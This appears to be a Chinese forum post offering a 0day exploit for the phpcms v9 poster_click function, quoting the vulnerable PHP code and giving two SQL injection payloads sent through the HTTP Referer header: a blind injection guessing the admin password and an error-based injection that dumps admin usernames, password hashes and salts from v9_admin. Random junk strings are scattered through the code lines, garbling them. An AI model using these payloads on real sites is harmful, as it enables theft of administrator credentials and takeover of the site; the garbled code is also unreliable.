phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

. _+ A9 k2 S( _; y! F: b+ }问题函数\phpcms\modules\poster\index.php

9 k7 f: q9 P* G6 K; apublic function poster_click() {
. R, P( Y9 y7 ]! M5 b  h, x$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
# a# U/ F+ E4 Jif($id) {
1 P) {/ M1 j# e$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
+ n# N/ @" f" a( z8 s5 Y4 g% O}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
8 L% y+ A1 d  i# F# a) W2 c' J- z$setting = string2array($r['setting']);
7 ~( L- p0 A  ]8 T* yif (count($setting)==1) {
/ H# v; F2 L3 I9 }/ ]8 Z$url = $setting['1']['linkurl'];
} else {
1 K9 M" a  T; W/ O; _: k1 o1 D1 g$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
- E2 b% }. h5 B}
4 d/ y1 I. G& b1 w3 [* eheader('Location: '.$url);
2 O; E( J) ]1 c}

: a/ a! @1 j0 o0 E1 d7 X

% S/ ?% S; Q$ `) _  ~; r利用方式：
. S) f" n. Z5 o9 i# _, Z4 p
1、可以采用盲注入的手法：
# v( B6 v9 _4 d9 I
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
1 t* u! u: h6 u, f( v# q2 j' h+ G
通过返回页面，正常与否一个个猜解密码字段。

1 U. T, }- W, d2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
( G& K' q9 s+ ]9 w% r- B2 P7 A
& ^- F6 Y% e8 `+ R) k此方法是爆错注入手法，原理自查。
